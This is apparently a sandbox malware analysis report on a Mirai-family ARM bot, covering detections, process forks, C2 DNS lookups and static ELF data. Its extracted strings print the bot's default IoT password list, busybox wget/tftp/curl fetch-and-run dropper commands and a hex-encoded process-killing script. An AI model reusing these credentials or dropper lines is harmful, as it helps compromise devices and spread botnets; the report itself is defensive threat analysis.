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Linux Analysis Report
la.bot.arm7.elf

Overview

General Information

Sample name:	la.bot.arm7.elf
Analysis ID:	1541937
MD5:	16d9b8da877deb5492a6b32d5c7003d9
SHA1:	d25eaef35a1e99bcb4878ef7bc4af98850b3cd76
SHA256:	eee2c30e7279d78473966120b3bc15047439754a332f3f4862c3cdb6c9881187
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1541937
Start date and time:	2024-10-25 10:42:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	la.bot.arm7.elf
Detection:	MAL
Classification:	mal52.troj.linELF@0/0@5/0

Warnings

VT rate limit hit for: la.bot.arm7.elf

Runtime Messages

Command:	/tmp/la.bot.arm7.elf
PID:	5432
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	thIs wEek on xLaB lEarNs nOthinG xd
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

la.bot.arm7.elf (PID: 5432, Parent: 5355, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/la.bot.arm7.elf

la.bot.arm7.elf New Fork (PID: 5434, Parent: 5432)

la.bot.arm7.elf New Fork (PID: 5442, Parent: 5432)

la.bot.arm7.elf New Fork (PID: 5452, Parent: 5442)

cleanup

Yara Signatures

⊘No yara matches

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: la.bot.arm7.elf

ReversingLabs: Detection: 34%

Source: la.bot.arm7.elf	String: ash\|login\|wget\|curl\|tftp\|ntpdate\|ftp\|mount
Source: la.bot.arm7.elf	String: /proc//exe\|ash\|login\|wget\|curl\|tftp\|ntpdate\|ftp\|mount/mountinfo/fd/dev/null\|/dev/consolesocket\|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc//proc/self/exe/dev/watchdog/dev/misc/watchdogtelnetd\|udhcpc\|ntpclient\|boa\|httpd\|mini_http\|watchdog\|pppdM
Source: la.bot.arm7.elf	String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4p

Networking

Sends malformed DNS queries

Source: global traffic

DNS traffic detected: malformed DNS query: nineteen.libre. [malformed]

Source: global traffic

TCP traffic: 192.168.2.13:57088 -> 156.244.13.91:7193

Source: /tmp/la.bot.arm7.elf (PID: 5432)

Socket: 127.0.0.1:1234

Jump to behavior

Source: unknown	UDP traffic detected without corresponding DNS query: 162.243.19.47
Source: unknown	UDP traffic detected without corresponding DNS query: 63.231.92.27
Source: unknown	UDP traffic detected without corresponding DNS query: 192.3.165.37
Source: unknown	UDP traffic detected without corresponding DNS query: 130.61.69.123
Source: unknown	UDP traffic detected without corresponding DNS query: 130.61.69.123
Source: unknown	UDP traffic detected without corresponding DNS query: 63.231.92.27
Source: unknown	UDP traffic detected without corresponding DNS query: 162.243.19.47

Source: global traffic	DNS traffic detected: DNS query: daisy.ubuntu.com
Source: global traffic	DNS traffic detected: DNS query: imaverygoodbadboy.libre
Source: global traffic	DNS traffic detected: DNS query: nineteen.libre. [malformed]
Source: global traffic	DNS traffic detected: DNS query: 75cents.libre

Source: la.bot.arm7.elf	String found in binary or memory: http:///curl.sh
Source: la.bot.arm7.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample	String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample	String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal52.troj.linELF@0/0@5/0

Source: /tmp/la.bot.arm7.elf (PID: 5432)	File opened: /proc/11/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5432)	File opened: /proc/22/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5432)	File opened: /proc/55/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5432)	File opened: /proc/66/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5432)	File opened: /proc/88/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5432)	File opened: /proc/99/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5432)	File opened: /proc/111/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5432)	File opened: /proc/222/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5432)	File opened: /proc/333/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5432)	File opened: /proc/33333/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5432)	File opened: /proc/777/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5432)	File opened: /proc/888/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5432)	File opened: /proc/11111/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5432)	File opened: /proc/999/maps	Jump to behavior

Source: submitted sample

Stderr: qemu: uncaught target signal 11 (Segmentation fault) - core dumped: exit code = 0

Source: /tmp/la.bot.arm7.elf (PID: 5432)

Queries kernel information via 'uname':

Jump to behavior

Source: la.bot.arm7.elf, 5432.1.00005654f837e000.00005654f84cd000.rw-.sdmp, la.bot.arm7.elf, 5434.1.00005654f837e000.00005654f84cd000.rw-.sdmp, la.bot.arm7.elf, 5452.1.00005654f837e000.00005654f84cd000.rw-.sdmp	Binary or memory string: TV!/etc/qemu-binfmt/arm
Source: la.bot.arm7.elf, 5432.1.00007ffcaab18000.00007ffcaab39000.rw-.sdmp, la.bot.arm7.elf, 5434.1.00007ffcaab18000.00007ffcaab39000.rw-.sdmp, la.bot.arm7.elf, 5452.1.00007ffcaab18000.00007ffcaab39000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/la.bot.arm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.arm7.elf
Source: la.bot.arm7.elf, 5432.1.00005654f837e000.00005654f84cd000.rw-.sdmp, la.bot.arm7.elf, 5434.1.00005654f837e000.00005654f84cd000.rw-.sdmp, la.bot.arm7.elf, 5452.1.00005654f837e000.00005654f84cd000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: la.bot.arm7.elf, 5432.1.00007ffcaab18000.00007ffcaab39000.rw-.sdmp, la.bot.arm7.elf, 5434.1.00007ffcaab18000.00007ffcaab39000.rw-.sdmp, la.bot.arm7.elf, 5452.1.00007ffcaab18000.00007ffcaab39000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: la.bot.arm7.elf, 5434.1.00007ffcaab18000.00007ffcaab39000.rw-.sdmp, la.bot.arm7.elf, 5452.1.00007ffcaab18000.00007ffcaab39000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
la.bot.arm7.elf	34%	ReversingLabs	Linux.Backdoor.Mirai

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
75cents.libre	156.244.13.91	true	false	unknown
daisy.ubuntu.com	162.213.35.24	true	false	unknown
nineteen.libre. [malformed]	unknown	unknown	true	unknown
imaverygoodbadboy.libre	unknown	unknown	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	la.bot.arm7.elf	false		unknown
http:///curl.sh	la.bot.arm7.elf	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
130.61.69.123	unknown	United States		31898	ORACLE-BMC-31898US	false
156.244.13.91	75cents.libre	Seychelles		132839	POWERLINE-AS-APPOWERLINEDATACENTERHK	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
130.61.69.123	na.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Linux.Mirai.5075.8943.20322.elf	Get hash	malicious	Unknown	Browse
	3nRuuUdCDQ.elf	Get hash	malicious	Unknown	Browse
156.244.13.91	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse
	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse
	la.bot.sparc.elf	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	HUyUkUjJ4y.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	GSVzm51Pg5.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	4id267qj0M.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	3HOhJoCrj5.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	8DKuAcmAMT.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	yakuza.arm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	jade.arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	jade.m68k.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	yakuza.arm7.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	c0r0n4x.x86.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
75cents.libre	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	103.253.147.242
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	103.253.147.242
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	156.244.13.91

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
POWERLINE-AS-APPOWERLINEDATACENTERHK	8DKuAcmAMT.elf	Get hash	malicious	Unknown	Browse	154.216.35.218
	garm7.elf	Get hash	malicious	Mirai	Browse	156.251.7.191
	garm.elf	Get hash	malicious	Mirai	Browse	156.244.234.103
	garm7.elf	Get hash	malicious	Mirai	Browse	156.251.7.150
	nshppc.elf	Get hash	malicious	Mirai	Browse	156.251.7.154
	garm5.elf	Get hash	malicious	Mirai	Browse	156.242.206.35
	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse	156.244.19.135
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	156.250.251.29
	byte.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse	154.202.138.140
	rBALT-10212024.exe	Get hash	malicious	FormBook	Browse	154.215.72.110
ORACLE-BMC-31898US	New_Order_568330_Material_Specifications.exe	Get hash	malicious	AgentTesla, MassLogger RAT, Phoenix Stealer, RedLine, SugarDump, XWorm	Browse	158.101.44.242
	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	140.238.246.224
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	130.35.12.1
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	168.138.244.186
	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse	130.61.64.122
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	140.238.158.19
	g1TLK7mbZD.img	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	EKSTRE_1022.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	Purchase Order.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.050381047617765
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	la.bot.arm7.elf
File size:	95'804 bytes
MD5:	16d9b8da877deb5492a6b32d5c7003d9
SHA1:	d25eaef35a1e99bcb4878ef7bc4af98850b3cd76
SHA256:	eee2c30e7279d78473966120b3bc15047439754a332f3f4862c3cdb6c9881187
SHA512:	9532169fefcbe1e523d28967cf72f1aa7757bc5f899e228ec5ffc202f8817e424240cf4f1d7d31c7c18918f3e06c7aeccf183c5a834e3208dabb6be740ca096c
SSDEEP:	1536:P4nMMaNbX41vgOtJhktPfk2Bzodfs2iUroYTHHQVHmegWlFoi9mWqtBlnzsT:USX41vgOtJhIk2zoO2iUroYTHHQVHtSN
TLSH:	1293F74AF8829E16C5D815BEFE0F528D332367A8E3EE7203DD146B2537CA55B0A7B441
File Content Preview:	.ELF..............(.........4....s......4. ...(........p8m..8...8...................................Pn..Pn...............p...p...p..p....s...............p...p...p..................Q.td..................................-...L..................@-.,@...0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8194
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	95204
Section Header Size:	40
Number of Section Headers:	15
Header String Table Index:	14

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	4
.text	PROGBITS	0x80f0	0xf0	0x14ce0	0x0	0x6	AX	0	16
.fini	PROGBITS	0x1cdd0	0x14dd0	0x10	0x0	0x6	AX	0	4
.rodata	PROGBITS	0x1cde0	0x14de0	0x1f40	0x0	0x2	A	0	4
.ARM.extab	PROGBITS	0x1ed20	0x16d20	0x18	0x0	0x2	A	0	4
.ARM.exidx	ARM_EXIDX	0x1ed38	0x16d38	0x118	0x0	0x82	AL	2	4
.eh_frame	PROGBITS	0x27000	0x17000	0x4	0x0	0x3	WA	0	4
.tbss	NOBITS	0x27004	0x17004	0x8	0x0	0x403	WAT	0	4
.init_array	INIT_ARRAY	0x27004	0x17004	0x4	0x0	0x3	WA	0	4
.fini_array	FINI_ARRAY	0x27008	0x17008	0x4	0x0	0x3	WA	0	4
.got	PROGBITS	0x27010	0x17010	0xa8	0x4	0x3	WA	0	4
.data	PROGBITS	0x270b8	0x170b8	0x2b8	0x0	0x3	WA	0	4
.bss	NOBITS	0x27370	0x17370	0x7034	0x0	0x3	WA	0	4
.shstrtab	STRTAB	0x0	0x17370	0x73	0x0	0x0		0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0x16d38	0x1ed38	0x1ed38	0x118	0x118	4.4584	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x16e50	0x16e50	6.0804	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0x17000	0x27000	0x27000	0x370	0x73a4	4.3986	0x6	RW	0x8000	.eh_frame .tbss .init_array .fini_array .got .data .bss
TLS	0x17004	0x27004	0x27004	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 25, 2024 10:43:19.366174936 CEST	57088	7193	192.168.2.13	156.244.13.91
Oct 25, 2024 10:43:19.371665001 CEST	7193	57088	156.244.13.91	192.168.2.13
Oct 25, 2024 10:43:19.371768951 CEST	57088	7193	192.168.2.13	156.244.13.91
Oct 25, 2024 10:43:19.372347116 CEST	57088	7193	192.168.2.13	156.244.13.91
Oct 25, 2024 10:43:19.377780914 CEST	7193	57088	156.244.13.91	192.168.2.13
Oct 25, 2024 10:43:34.388139963 CEST	57088	7193	192.168.2.13	156.244.13.91
Oct 25, 2024 10:43:34.393943071 CEST	7193	57088	156.244.13.91	192.168.2.13
Oct 25, 2024 10:44:22.286731005 CEST	7193	57088	156.244.13.91	192.168.2.13
Oct 25, 2024 10:44:22.286885977 CEST	57088	7193	192.168.2.13	156.244.13.91
Oct 25, 2024 10:44:22.286978960 CEST	7193	57088	156.244.13.91	192.168.2.13
Oct 25, 2024 10:44:22.287020922 CEST	57088	7193	192.168.2.13	156.244.13.91
Oct 25, 2024 10:44:22.287240028 CEST	7193	57088	156.244.13.91	192.168.2.13
Oct 25, 2024 10:44:22.287300110 CEST	57088	7193	192.168.2.13	156.244.13.91

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 25, 2024 10:42:58.519468069 CEST	57238	5353	192.168.2.13	162.243.19.47
Oct 25, 2024 10:43:00.568053007 CEST	33256	53	192.168.2.13	8.8.8.8
Oct 25, 2024 10:43:00.568120003 CEST	43932	53	192.168.2.13	8.8.8.8
Oct 25, 2024 10:43:00.580452919 CEST	53	33256	8.8.8.8	192.168.2.13
Oct 25, 2024 10:43:00.581456900 CEST	53	43932	8.8.8.8	192.168.2.13
Oct 25, 2024 10:43:03.526305914 CEST	44337	53	192.168.2.13	63.231.92.27
Oct 25, 2024 10:43:08.532721996 CEST	59538	53	192.168.2.13	192.3.165.37
Oct 25, 2024 10:43:08.633632898 CEST	53	59538	192.3.165.37	192.168.2.13
Oct 25, 2024 10:43:08.634774923 CEST	44478	5353	192.168.2.13	130.61.69.123
Oct 25, 2024 10:43:13.641473055 CEST	51682	5353	192.168.2.13	130.61.69.123
Oct 25, 2024 10:43:18.648196936 CEST	60838	5353	192.168.2.13	63.231.92.27
Oct 25, 2024 10:43:19.267960072 CEST	5353	60838	63.231.92.27	192.168.2.13
Oct 25, 2024 10:43:19.269665956 CEST	53939	53	192.168.2.13	162.243.19.47
Oct 25, 2024 10:43:19.364258051 CEST	53	53939	162.243.19.47	192.168.2.13

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 25, 2024 10:43:00.568053007 CEST	192.168.2.13	8.8.8.8	0x87d7	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:43:00.568120003 CEST	192.168.2.13	8.8.8.8	0x112	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false
Oct 25, 2024 10:43:03.526305914 CEST	192.168.2.13	63.231.92.27	0xfde0	Standard query (0)	imaverygoodbadboy.libre	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:43:08.532721996 CEST	192.168.2.13	192.3.165.37	0x8306	Standard query (0)	nineteen.libre. [malformed]	256	284	false
Oct 25, 2024 10:43:19.269665956 CEST	192.168.2.13	162.243.19.47	0xc83c	Standard query (0)	75cents.libre	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 25, 2024 10:43:00.580452919 CEST	8.8.8.8	192.168.2.13	0x87d7	No error (0)	daisy.ubuntu.com	162.213.35.24	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:43:00.580452919 CEST	8.8.8.8	192.168.2.13	0x87d7	No error (0)	daisy.ubuntu.com	162.213.35.25	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:43:19.364258051 CEST	162.243.19.47	192.168.2.13	0xc83c	No error (0)	75cents.libre	156.244.13.91	A (IP address)	IN (0x0001)	false
Oct 25, 2024 10:43:19.364258051 CEST	162.243.19.47	192.168.2.13	0xc83c	No error (0)	75cents.libre	103.253.147.242	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: la.bot.arm7.elf PID: 5432, Parent PID: 5355

General

Start time (UTC):	08:42:57
Start date (UTC):	25/10/2024
Path:	/tmp/la.bot.arm7.elf
Arguments:	/tmp/la.bot.arm7.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: la.bot.arm7.elf PID: 5434, Parent PID: 5432

General

Start time (UTC):	08:42:57
Start date (UTC):	25/10/2024
Path:	/tmp/la.bot.arm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: la.bot.arm7.elf PID: 5442, Parent PID: 5432

General

Start time (UTC):	08:42:57
Start date (UTC):	25/10/2024
Path:	/tmp/la.bot.arm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: la.bot.arm7.elf PID: 5452, Parent PID: 5442

General

Start time (UTC):	08:42:57
Start date (UTC):	25/10/2024
Path:	/tmp/la.bot.arm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

